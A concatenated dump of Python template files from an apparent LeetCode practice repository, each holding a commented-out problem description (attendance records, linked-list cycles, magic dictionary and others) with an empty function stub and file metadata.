# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #552. Student Attendance Record II #Given a positive integer n, return the number of all possible attendance records with length n, which will be regarded as rewardable. The answer may be very large, return it after mod 109 + 7. #A student attendance record is a string that only contains the following three characters: #'A' : Absent. #'L' : Late. #'P' : Present. #A record is regarded as rewardable if it doesn't contain more than one 'A' (absent) or more than two continuous 'L' (late). #Example 1: #Input: n = 2 #Output: 8 #Explanation: #There are 8 records with length 2 will be regarded as rewardable: #"PP" , "AP", "PA", "LP", "PL", "AL", "LA", "LL" #Only "AA" won't be regarded as rewardable owing to more than one absent times. #Note: The value of n won't exceed 100,000. #class Solution: # def checkRecord(self, n): # """ # :type n: int # :rtype: int # """ # Time Is Money
9c9fb00c316199447af33e79a78359efcc6b08d9
drunkwater/leetcode
/medium/python/c0075_142_linked-list-cycle-ii/00_leetcode_0075.py
691
3.5
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #142. Linked List Cycle II #Given a linked list, return the node where the cycle begins. If there is no cycle, return null. #Note: Do not modify the linked list. #Follow up: #Can you solve it without using extra space? ## Definition for singly-linked list. ## class ListNode(object): ## def __init__(self, x): ## self.val = x ## self.next = None #class Solution(object): # def detectCycle(self, head): # """ # :type head: ListNode # :rtype: ListNode # """ # Time Is Money
11ed38a411b99db38585b56de9fc0fba749f2652
drunkwater/leetcode
/hard/python3/c0141_761_special-binary-string/00_leetcode_0141.py
1,223
3.671875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #761. Special Binary String #Special binary strings are binary strings with the following two properties: #The number of 0's is equal to the number of 1's. #Every prefix of the binary string has at least as many 1's as 0's. #Given a special string S, a move consists of choosing two consecutive, non-empty, special substrings of S, and swapping them. (Two strings are consecutive if the last character of the first string is exactly one index before the first character of the second string.) #At the end of any number of moves, what is the lexicographically largest resulting string possible? #Example 1: #Input: S = "11011000" #Output: "11100100" #Explanation: #The strings "10" [occuring at S[1]] and "1100" [at S[3]] are swapped. #This is the lexicographically largest string possible after some number of swaps. #Note: #S has length at most 50. #S is guaranteed to be a special binary string as defined above. #class Solution: # def makeLargestSpecial(self, S): # """ # :type S: str # :rtype: str # """ # Time Is Money
0e073b114f501d4e46eeeded78b6e59da37714a0
drunkwater/leetcode
/medium/python/c0259_526_beautiful-arrangement/00_leetcode_0259.py
1,208
3.6875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #526. Beautiful Arrangement #Suppose you have N integers from 1 to N. We define a beautiful arrangement as an array that is constructed by these N numbers successfully if one of the following is true for the ith position (1 <= i <= N) in this array: #The number at the ith position is divisible by i. #i is divisible by the number at the ith position. #Now given N, how many beautiful arrangements can you construct? #Example 1: #Input: 2 #Output: 2 #Explanation: #The first beautiful arrangement is [1, 2]: #Number at the 1st position (i=1) is 1, and 1 is divisible by i (i=1). #Number at the 2nd position (i=2) is 2, and 2 is divisible by i (i=2). #The second beautiful arrangement is [2, 1]: #Number at the 1st position (i=1) is 2, and 2 is divisible by i (i=1). #Number at the 2nd position (i=2) is 1, and i (i=2) is divisible by 1. #Note: #N is a positive integer and will not exceed 15. #class Solution(object): # def countArrangement(self, N): # """ # :type N: int # :rtype: int # """ # Time Is Money
d819ea63f5685a96e3c720248df41dfc2c79a874
drunkwater/leetcode
/medium/python/c0285_583_delete-operation-for-two-strings/00_leetcode_0285.py
814
3.75
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #583. Delete Operation for Two Strings #Given two words word1 and word2, find the minimum number of steps required to make word1 and word2 the same, where in each step you can delete one character in either string. #Example 1: #Input: "sea", "eat" #Output: 2 #Explanation: You need one step to make "sea" to "ea" and another step to make "eat" to "ea". #Note: #The length of given words won't exceed 500. #Characters in given words can only be lower-case letters. #class Solution(object): # def minDistance(self, word1, word2): # """ # :type word1: str # :type word2: str # :rtype: int # """ # Time Is Money
bdf6ddc95d5103135345a7a752f16c558df76205
drunkwater/leetcode
/medium/python3/c0240_481_magical-string/00_leetcode_0240.py
1,160
3.84375
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #481. Magical String #A magical string S consists of only '1' and '2' and obeys the following rules: #The string S is magical because concatenating the number of contiguous occurrences of characters '1' and '2' generates the string S itself. #The first few elements of string S is the following: S = "1221121221221121122โ€ฆโ€ฆ" #If we group the consecutive '1's and '2's in S, it will be: #1 22 11 2 1 22 1 22 11 2 11 22 ...... #and the occurrences of '1's or '2's in each group are: #1 2 2 1 1 2 1 2 2 1 2 2 ...... #You can see that the occurrence sequence above is the S itself. #Given an integer N as input, return the number of '1's in the first N number in the magical string S. #Note: N will not exceed 100,000. #Example 1: #Input: 6 #Output: 3 #Explanation: The first 6 elements of magical string S is "12211" and it contains three 1's, so return 3. #class Solution: # def magicalString(self, n): # """ # :type n: int # :rtype: int # """ # Time Is Money
a1b41adcda2d3b3522744e954cf8ae2f901c6b01
drunkwater/leetcode
/medium/python3/c0099_209_minimum-size-subarray-sum/00_leetcode_0099.py
798
3.546875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #209. Minimum Size Subarray Sum #Given an array of n positive integers and a positive integer s, find the minimal length of a contiguous subarray of which the sum โ‰ฅ s. If there isn't one, return 0 instead. #For example, given the array [2,3,1,2,4,3] and s = 7, #the subarray [4,3] has the minimal length under the problem constraint. #click to show more practice. #Credits: #Special thanks to @Freezen for adding this problem and creating all test cases. #class Solution: # def minSubArrayLen(self, s, nums): # """ # :type s: int # :type nums: List[int] # :rtype: int # """ # Time Is Money
6f206aae6b5c1f54376ab0272a29df549f558c7a
drunkwater/leetcode
/medium/python/c0356_779_k-th-symbol-in-grammar/00_leetcode_0356.py
945
3.515625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #779. K-th Symbol in Grammar #On the first row, we write a 0. Now in every subsequent row, we look at the previous row and replace each occurrence of 0 with 01, and each occurrence of 1 with 10. #Given row N and index K, return the K-th indexed symbol in row N. (The values of K are 1-indexed.) (1 indexed). #Examples: #Input: N = 1, K = 1 #Output: 0 #Input: N = 2, K = 1 #Output: 0 #Input: N = 2, K = 2 #Output: 1 #Input: N = 4, K = 5 #Output: 1 #Explanation: #row 1: 0 #row 2: 01 #row 3: 0110 #row 4: 01101001 #Note: #N will be an integer in the range [1, 30]. #K will be an integer in the range [1, 2^(N-1)]. #class Solution(object): # def kthGrammar(self, N, K): # """ # :type N: int # :type K: int # :rtype: int # """ # Time Is Money
cff345e92a42dd91bdda6ec354b4f6da7959d52e
drunkwater/leetcode
/easy/python/c0100_409_longest-palindrome/00_leetcode_0100.py
762
3.515625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #409. Longest Palindrome #Given a string which consists of lowercase or uppercase letters, find the length of the longest palindromes that can be built with those letters. #This is case sensitive, for example "Aa" is not considered a palindrome here. #Note: #Assume the length of given string will not exceed 1,010. #Example: #Input: #"abccccdd" #Output: #7 #Explanation: #One longest palindrome that can be built is "dccaccd", whose length is 7. #class Solution(object): # def longestPalindrome(self, s): # """ # :type s: str # :rtype: int # """ # Time Is Money
51f20d548cb8c6c0df7895a1b98cbf08e44d4a70
drunkwater/leetcode
/medium/python3/c0252_513_find-bottom-left-tree-value/00_leetcode_0252.py
841
3.78125
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #513. Find Bottom Left Tree Value #Given a binary tree, find the leftmost value in the last row of the tree. #Example 1: #Input: # 2 # / \ # 1 3 #Output: #1 #Example 2: #Input: # 1 # / \ # 2 3 # / / \ # 4 5 6 # / # 7 #Output: #7 #Note: You may assume the tree (i.e., the given root node) is not NULL. ## Definition for a binary tree node. ## class TreeNode: ## def __init__(self, x): ## self.val = x ## self.left = None ## self.right = None #class Solution: # def findBottomLeftValue(self, root): # """ # :type root: TreeNode # :rtype: int # """ # Time Is Money
6de2173a736994fd14b1b7582390244b95bb0782
drunkwater/leetcode
/medium/python/c0039_75_sort-colors/00_leetcode_0039.py
1,111
3.625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #75. Sort Colors #Given an array with n objects colored red, white or blue, sort them in-place so that objects of the same color are adjacent, with the colors in the order red, white and blue. #Here, we will use the integers 0, 1, and 2 to represent the color red, white, and blue respectively. #Note: You are not suppose to use the library's sort function for this problem. #Example: #Input: [2,0,2,1,1,0] #Output: [0,0,1,1,2,2] #Follow up: #A rather straight forward solution is a two-pass algorithm using counting sort. #First, iterate the array counting number of 0's, 1's, and 2's, then overwrite array with total number of 0's, then 1's and followed by 2's. #Could you come up with a one-pass algorithm using only constant space? #class Solution(object): # def sortColors(self, nums): # """ # :type nums: List[int] # :rtype: void Do not return anything, modify nums in-place instead. # """ # Time Is Money
25db5937814b9cad78b5a6a96c34f942be58b6b5
drunkwater/leetcode
/easy/python/c0019_88_merge-sorted-array/00_leetcode_0019.py
894
3.671875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #88. Merge Sorted Array #Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array. #Note: #The number of elements initialized in nums1 and nums2 are m and n respectively. #You may assume that nums1 has enough space (size that is greater or equal to m + n) to hold additional elements from nums2. #Example: #Input: #nums1 = [1,2,3,0,0,0], m = 3 #nums2 = [2,5,6], n = 3 #Output: [1,2,2,3,5,6] #class Solution(object): # def merge(self, nums1, m, nums2, n): # """ # :type nums1: List[int] # :type m: int # :type nums2: List[int] # :type n: int # :rtype: void Do not return anything, modify nums1 in-place instead. # """ # Time Is Money
dff1f2a45dd7db365f0eb4dfb2cae29e11ab4132
drunkwater/leetcode
/medium/python/c0003_6_zigzag-conversion/00_leetcode_0003.py
976
3.90625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #6. ZigZag Conversion #The string "PAYPALISHIRING" is written in a zigzag pattern on a given number of rows like this: (you may want to display this pattern in a fixed font for better legibility) #P A H N #A P L S I I G #Y I R #And then read line by line: "PAHNAPLSIIGYIR" #Write the code that will take a string and make this conversion given a number of rows: #string convert(string s, int numRows); #Example 1: #Input: s = "PAYPALISHIRING", numRows = 3 #Output: "PAHNAPLSIIGYIR" #Example 2: #Input: s = "PAYPALISHIRING", numRows = 4 #Output: "PINALSIGYAHRPI" #Explanation: #P I N #A L S I G #Y A H R #P I #class Solution(object): # def convert(self, s, numRows): # """ # :type s: str # :type numRows: int # :rtype: str # """ # Time Is Money
9ed6c9f4d5a63da916f992358efca0e942e2dd65
drunkwater/leetcode
/easy/python/c0084_345_reverse-vowels-of-a-string/00_leetcode_0084.py
586
3.671875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #345. Reverse Vowels of a String #Write a function that takes a string as input and reverse only the vowels of a string. #Example 1: #Given s = "hello", return "holle". #Example 2: #Given s = "leetcode", return "leotcede". #Note: #The vowels does not include the letter "y". #class Solution(object): # def reverseVowels(self, s): # """ # :type s: str # :rtype: str # """ # Time Is Money
65f317170c57b948dfb1d458b7464fd2135a4cb8
drunkwater/leetcode
/easy/python/c0181_747_largest-number-at-least-twice-of-others/00_leetcode_0181.py
1,090
3.671875
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #747. Largest Number At Least Twice of Others #In a given integer array nums, there is always exactly one largest element. #Find whether the largest element in the array is at least twice as much as every other number in the array. #If it is, return the index of the largest element, otherwise return -1. #Example 1: #Input: nums = [3, 6, 1, 0] #Output: 1 #Explanation: 6 is the largest integer, and for every other number in the array x, #6 is more than twice as big as x. The index of value 6 is 1, so we return 1. # Example 2: #Input: nums = [1, 2, 3, 4] #Output: -1 #Explanation: 4 isn't at least as big as twice the value of 3, so we return -1. # Note: #nums will have a length in the range [1, 50]. #Every nums[i] will be an integer in the range [0, 99]. # #class Solution(object): # def dominantIndex(self, nums): # """ # :type nums: List[int] # :rtype: int # """ # Time Is Money
6a58e4a32ff7c0a37569f1975131d2f0250a8472
drunkwater/leetcode
/medium/python/c0104_216_combination-sum-iii/00_leetcode_0104.py
768
3.625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #216. Combination Sum III #Find all possible combinations of k numbers that add up to a number n, given that only numbers from 1 to 9 can be used and each combination should be a unique set of numbers. #Example 1: #Input: k = 3, n = 7 #Output: #[[1,2,4]] #Example 2: #Input: k = 3, n = 9 #Output: #[[1,2,6], [1,3,5], [2,3,4]] #Credits: #Special thanks to @mithmatt for adding this problem and creating all test cases. #class Solution(object): # def combinationSum3(self, k, n): # """ # :type k: int # :type n: int # :rtype: List[List[int]] # """ # Time Is Money
459e08a0443040c7e3b9dbbef45c683ffb2277e4
drunkwater/leetcode
/medium/python3/c0313_667_beautiful-arrangement-ii/00_leetcode_0313.py
1,164
3.828125
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #667. Beautiful Arrangement II #Given two integers n and k, you need to construct a list which contains n different positive integers ranging from 1 to n and obeys the following requirement: #Suppose this list is [a1, a2, a3, ... , an], then the list [|a1 - a2|, |a2 - a3|, |a3 - a4|, ... , |an-1 - an|] has exactly k distinct integers. #If there are multiple answers, print any of them. #Example 1: #Input: n = 3, k = 1 #Output: [1, 2, 3] #Explanation: The [1, 2, 3] has three different positive integers ranging from 1 to 3, and the [1, 1] has exactly 1 distinct integer: 1. #Example 2: #Input: n = 3, k = 2 #Output: [1, 3, 2] #Explanation: The [1, 3, 2] has three different positive integers ranging from 1 to 3, and the [2, 1] has exactly 2 distinct integers: 1 and 2. #Note: #The n and k are in the range 1 <= k < n <= 104. #class Solution: # def constructArray(self, n, k): # """ # :type n: int # :type k: int # :rtype: List[int] # """ # Time Is Money
736fa511a3435e9cfd403b4bfe687cc86cd434c2
drunkwater/leetcode
/medium/python/c0211_406_queue-reconstruction-by-height/00_leetcode_0211.py
847
3.5
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #406. Queue Reconstruction by Height #Suppose you have a random list of people standing in a queue. Each person is described by a pair of integers (h, k), where h is the height of the person and k is the number of people in front of this person who have a height greater than or equal to h. Write an algorithm to reconstruct the queue. #Note: #The number of people is less than 1,100. #Example #Input: #[[7,0], [4,4], [7,1], [5,0], [6,1], [5,2]] #Output: #[[5,0], [7,0], [5,2], [6,1], [4,4], [7,1]] #class Solution(object): # def reconstructQueue(self, people): # """ # :type people: List[List[int]] # :rtype: List[List[int]] # """ # Time Is Money
0f41b47bd2e12204d5304a5c86e346602a44173a
drunkwater/leetcode
/medium/python/c0154_313_super-ugly-number/00_leetcode_0154.py
1,039
3.90625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #313. Super Ugly Number #Write a program to find the nth super ugly number. #Super ugly numbers are positive numbers whose all prime factors are in the given prime list primes of size k. For example, [1, 2, 4, 7, 8, 13, 14, 16, 19, 26, 28, 32] is the sequence of the first 12 super ugly numbers given primes = [2, 7, 13, 19] of size 4. #Note: #(1) 1 is a super ugly number for any given primes. #(2) The given numbers in primes are in ascending order. #(3) 0 < k โ‰ค 100, 0 < n โ‰ค 106, 0 < primes[i] < 1000. #(4) The nth super ugly number is guaranteed to fit in a 32-bit signed integer. #Credits: #Special thanks to @dietpepsi for adding this problem and creating all test cases. #class Solution(object): # def nthSuperUglyNumber(self, n, primes): # """ # :type n: int # :type primes: List[int] # :rtype: int # """ # Time Is Money
0b62f5917ed5c69ec3b72d36878ae688496d2433
drunkwater/leetcode
/medium/python/c0258_525_contiguous-array/00_leetcode_0258.py
774
3.703125
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #525. Contiguous Array #Given a binary array, find the maximum length of a contiguous subarray with equal number of 0 and 1. #Example 1: #Input: [0,1] #Output: 2 #Explanation: [0, 1] is the longest contiguous subarray with equal number of 0 and 1. #Example 2: #Input: [0,1,0] #Output: 2 #Explanation: [0, 1] (or [1, 0]) is a longest contiguous subarray with equal number of 0 and 1. #Note: The length of the given binary array will not exceed 50,000. #class Solution(object): # def findMaxLength(self, nums): # """ # :type nums: List[int] # :rtype: int # """ # Time Is Money
5be735a231521a1d207591384ac2222b39a2df7b
drunkwater/leetcode
/medium/python/c0317_676_implement-magic-dictionary/00_leetcode_0317.py
1,855
3.828125
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #676. Implement Magic Dictionary #Implement a magic directory with buildDict, and search methods. #For the method buildDict, you'll be given a list of non-repetitive words to build a dictionary. #For the method search, you'll be given a word, and judge whether if you modify exactly one character into another character in this word, the modified word is in the dictionary you just built. #Example 1: #Input: buildDict(["hello", "leetcode"]), Output: Null #Input: search("hello"), Output: False #Input: search("hhllo"), Output: True #Input: search("hell"), Output: False #Input: search("leetcoded"), Output: False #Note: #You may assume that all the inputs are consist of lowercase letters a-z. #For contest purpose, the test data is rather small by now. You could think about highly efficient algorithm after the contest. #Please remember to RESET your class variables declared in class MagicDictionary, as static/class variables are persisted across multiple test cases. Please see here for more details. #class MagicDictionary(object): # def __init__(self): # """ # Initialize your data structure here. # """ # def buildDict(self, dict): # """ # Build a dictionary through a list of words # :type dict: List[str] # :rtype: void # """ # def search(self, word): # """ # Returns if there is any word in the trie that equals to the given word after modifying exactly one character # :type word: str # :rtype: bool # """ ## Your MagicDictionary object will be instantiated and called as such: ## obj = MagicDictionary() ## obj.buildDict(dict) ## param_2 = obj.search(word) # Time Is Money
4c48b068be3fd43c9f9a6602e8e6d2ed217d2da7
drunkwater/leetcode
/medium/python3/c0150_307_range-sum-query-mutable/00_leetcode_0150.py
1,142
3.5625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #307. Range Sum Query - Mutable #Given an integer array nums, find the sum of the elements between indices i and j (i โ‰ค j), inclusive. #The update(i, val) function modifies nums by updating the element at index i to val. #Example: #Given nums = [1, 3, 5] #sumRange(0, 2) -> 9 #update(1, 2) #sumRange(0, 2) -> 8 #Note: #The array is only modifiable by the update function. #You may assume the number of calls to update and sumRange function is distributed evenly. #class NumArray: # def __init__(self, nums): # """ # :type nums: List[int] # """ # def update(self, i, val): # """ # :type i: int # :type val: int # :rtype: void # """ # def sumRange(self, i, j): # """ # :type i: int # :type j: int # :rtype: int # """ ## Your NumArray object will be instantiated and called as such: ## obj = NumArray(nums) ## obj.update(i,val) ## param_2 = obj.sumRange(i,j) # Time Is Money
66826010a2c0e37b1d15937105c84e7240fd7b2a
drunkwater/leetcode
/easy/python/c0121_485_max-consecutive-ones/00_leetcode_0121.py
739
3.5
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #485. Max Consecutive Ones #Given a binary array, find the maximum number of consecutive 1s in this array. #Example 1: #Input: [1,1,0,1,1,1] #Output: 3 #Explanation: The first two digits or the last three digits are consecutive 1s. # The maximum number of consecutive 1s is 3. #Note: #The input array will only contain 0 and 1. #The length of input array is a positive integer and will not exceed 10,000 #class Solution(object): # def findMaxConsecutiveOnes(self, nums): # """ # :type nums: List[int] # :rtype: int # """ # Time Is Money
769521c7ccab6a8ca1bdcf0c7f2b2bfd8fd64a0a
drunkwater/leetcode
/easy/python/c0038_167_two-sum-ii-input-array-is-sorted/00_leetcode_0038.py
942
3.59375
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #167. Two Sum II - Input array is sorted #Given an array of integers that is already sorted in ascending order, find two numbers such that they add up to a specific target number. #The function twoSum should return indices of the two numbers such that they add up to the target, where index1 must be less than index2. Please note that your returned answers (both index1 and index2) are not zero-based. #You may assume that each input would have exactly one solution and you may not use the same element twice. #Input: numbers={2, 7, 11, 15}, target=9 #Output: index1=1, index2=2 #class Solution(object): # def twoSum(self, numbers, target): # """ # :type numbers: List[int] # :type target: int # :rtype: List[int] # """ # Time Is Money
453f8a8af6b0f4b0ef3eb5847cc0dfa635bfe548
drunkwater/leetcode
/hard/python3/c0136_745_prefix-and-suffix-search/00_leetcode_0136.py
1,226
3.765625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #745. Prefix and Suffix Search #Given many words, words[i] has weight i. #Design a class WordFilter that supports one function, WordFilter.f(String prefix, String suffix). It will return the word with given prefix and suffix with maximum weight. If no word exists, return -1. #Examples: #Input: #WordFilter(["apple"]) #WordFilter.f("a", "e") // returns 0 #WordFilter.f("b", "") // returns -1 #Note: #words has length in range [1, 15000]. #For each test case, up to words.length queries WordFilter.f may be made. #words[i] has length in range [1, 10]. #prefix, suffix have lengths in range [0, 10]. #words[i] and prefix, suffix queries consist of lowercase letters only. #class WordFilter: # def __init__(self, words): # """ # :type words: List[str] # """ # def f(self, prefix, suffix): # """ # :type prefix: str # :type suffix: str # :rtype: int # """ ## Your WordFilter object will be instantiated and called as such: ## obj = WordFilter(words) ## param_1 = obj.f(prefix,suffix) # Time Is Money
29dcda207100679ff05ad1f9ab153b816adb0af8
drunkwater/leetcode
/easy/python3/c0169_693_binary-number-with-alternating-bits/00_leetcode_0169.py
852
3.90625
4
# DRUNKWATER TEMPLATE(add description and prototypes) # Question Title and Description on leetcode.com # Function Declaration and Function Prototypes on leetcode.com #693. Binary Number with Alternating Bits #Given a positive integer, check whether it has alternating bits: namely, if two adjacent bits will always have different values. #Example 1: #Input: 5 #Output: True #Explanation: #The binary representation of 5 is: 101 #Example 2: #Input: 7 #Output: False #Explanation: #The binary representation of 7 is: 111. #Example 3: #Input: 11 #Output: False #Explanation: #The binary representation of 11 is: 1011. #Example 4: #Input: 10 #Output: True #Explanation: #The binary representation of 10 is: 1010. #class Solution: # def hasAlternatingBits(self, n): # """ # :type n: int # :rtype: bool # """ # Time Is Money